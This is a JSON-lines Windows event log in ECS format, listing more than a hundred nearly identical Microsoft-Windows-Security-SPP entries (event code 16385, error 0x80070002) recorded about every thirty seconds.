{"@timestamp":1659011695808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172373}}
{"@timestamp":1659011725815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172374}}
{"@timestamp":1659011755821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172375}}
{"@timestamp":1659011785827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172376}}
{"@timestamp":1659011815835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172377}}
{"@timestamp":1659011845841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172378}}
{"@timestamp":1659011875849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172379}}
{"@timestamp":1659011905856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172380}}
{"@timestamp":1659011935862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172381}}
{"@timestamp":1659011965868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172382}}
{"@timestamp":1659011995875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172383}}
{"@timestamp":1659012025881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172384}}
{"@timestamp":1659012055888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172385}}
{"@timestamp":1659012085896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172386}}
{"@timestamp":1659012115902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172387}}
{"@timestamp":1659012145908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172388}}
{"@timestamp":1659012175914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172389}}
{"@timestamp":1659012205920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172390}}
{"@timestamp":1659012235926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172391}}
{"@timestamp":1659012265934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172392}}
{"@timestamp":1659012295940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172393}}
{"@timestamp":1659012325946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172394}}
{"@timestamp":1659012355953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172395}}
{"@timestamp":1659012385959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172396}}
{"@timestamp":1659012415965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172397}}
{"@timestamp":1659012445972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172398}}
{"@timestamp":1659012475978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172399}}
{"@timestamp":1659012505984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172400}}
{"@timestamp":1659012535990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172401}}
{"@timestamp":1659012565996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172402}}
{"@timestamp":1659012596003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172403}}
{"@timestamp":1659012626010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172404}}
{"@timestamp":1659012656017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172405}}
{"@timestamp":1659012686024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172406}}
{"@timestamp":1659012716030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172407}}
{"@timestamp":1659012746037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172408}}
{"@timestamp":1659012776042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172409}}
{"@timestamp":1659012806050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172410}}
{"@timestamp":1659012836056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172411}}
{"@timestamp":1659012866063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172412}}
{"@timestamp":1659012896070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172413}}
{"@timestamp":1659012926079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172414}}
{"@timestamp":1659012956085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172415}}
{"@timestamp":1659012986093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172416}}
{"@timestamp":1659013016100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172417}}
{"@timestamp":1659013046107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172418}}
{"@timestamp":1659013076113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172419}}
{"@timestamp":1659013106120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172420}}
{"@timestamp":1659013136126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172421}}
{"@timestamp":1659013166133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172422}}
{"@timestamp":1659013196141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172423}}
{"@timestamp":1659013226147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172424}}
{"@timestamp":1659013256155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172425}}
{"@timestamp":1659013286162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172426}}
{"@timestamp":1659013316168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172427}}
{"@timestamp":1659013346176,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172428}}
{"@timestamp":1659013376182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172429}}
{"@timestamp":1659013406189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172430}}
{"@timestamp":1659013436195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172431}}
{"@timestamp":1659013466203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172432}}
{"@timestamp":1659013496209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172433}}
{"@timestamp":1659013526216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172434}}
{"@timestamp":1659013556222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172435}}
{"@timestamp":1659013586229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172436}}
{"@timestamp":1659013616236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172437}}
{"@timestamp":1659013646241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172438}}
{"@timestamp":1659013676248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172439}}
{"@timestamp":1659013706256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172440}}
{"@timestamp":1659013736262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172441}}
{"@timestamp":1659013766270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172442}}
{"@timestamp":1659013796276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172443}}
{"@timestamp":1659013826283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172444}}
{"@timestamp":1659013856289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172445}}
{"@timestamp":1659013886295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172446}}
{"@timestamp":1659013916301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172447}}
{"@timestamp":1659013946307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172448}}
{"@timestamp":1659013976315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172449}}
{"@timestamp":1659014006321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172450}}
{"@timestamp":1659014036328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172451}}
{"@timestamp":1659014066335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172452}}
{"@timestamp":1659014096341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172453}}
{"@timestamp":1659014126348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172454}}
{"@timestamp":1659014156355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172455}}
{"@timestamp":1659014186361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172456}}
{"@timestamp":1659014216368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172457}}
{"@timestamp":1659014246374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172458}}
{"@timestamp":1659014276381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172459}}
{"@timestamp":1659014306389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172460}}
{"@timestamp":1659014336395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172461}}
{"@timestamp":1659014366403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172462}}
{"@timestamp":1659014396409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172463}}
{"@timestamp":1659014426416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172464}}
{"@timestamp":1659014456423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172465}}
{"@timestamp":1659014486429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172466}}
{"@timestamp":1659014516435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172467}}
{"@timestamp":1659014546443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172468}}
{"@timestamp":1659014576449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172469}}
{"@timestamp":1659014606455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172470}}
{"@timestamp":1659014636462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172471}}
{"@timestamp":1659014666469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172472}}
{"@timestamp":1659014696475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172473}}
{"@timestamp":1659014726482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172474}}
{"@timestamp":1659014756489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172475}}
{"@timestamp":1659014786497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172476}}
{"@timestamp":1659014816504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172477}}
{"@timestamp":1659014846511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172478}}
{"@timestamp":1659014876517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172479}}
{"@timestamp":1659014906525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172480}}
{"@timestamp":1659014936531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172481}}
